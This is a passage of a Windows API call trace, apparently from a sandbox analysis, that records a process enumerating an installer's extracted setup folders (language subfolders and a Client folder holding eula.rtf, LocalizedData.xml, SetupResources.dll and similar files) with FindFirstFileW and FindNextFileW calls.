ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.179] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.179] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.179] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.179] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.179] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1055", cAlternateFileName="")) returned 1 [0044.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.179] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.179] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.180] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.180] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.180] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.180] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.180] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.180] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2052", cAlternateFileName="")) returned 1 [0044.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.180] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.180] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.180] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.180] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.180] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.180] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.180] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.180] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2070", cAlternateFileName="")) returned 1 [0044.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.181] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.181] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.181] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.181] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.181] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.181] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.181] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.181] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3076", cAlternateFileName="")) returned 1 [0044.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.181] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.181] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.181] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.182] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.182] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.182] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.182] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.182] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3082", cAlternateFileName="")) returned 1 [0044.182] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e50 [0044.187] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.188] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.188] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.188] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.188] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.188] FindClose (in: hFindFile=0x10c8e50 | out: hFindFile=0x10c8e50) returned 1 [0044.198] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.198] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Client", cAlternateFileName="")) returned 1 [0044.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc210 [0044.199] FindNextFileW (in: hFindFile=0x10dc210, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.199] FindNextFileW (in: hFindFile=0x10dc210, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0044.199] FindNextFileW (in: hFindFile=0x10dc210, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0044.199] FindNextFileW (in: hFindFile=0x10dc210, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0044.199] FindClose (in: hFindFile=0x10dc210 | out: hFindFile=0x10dc210) returned 1 [0044.200] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: 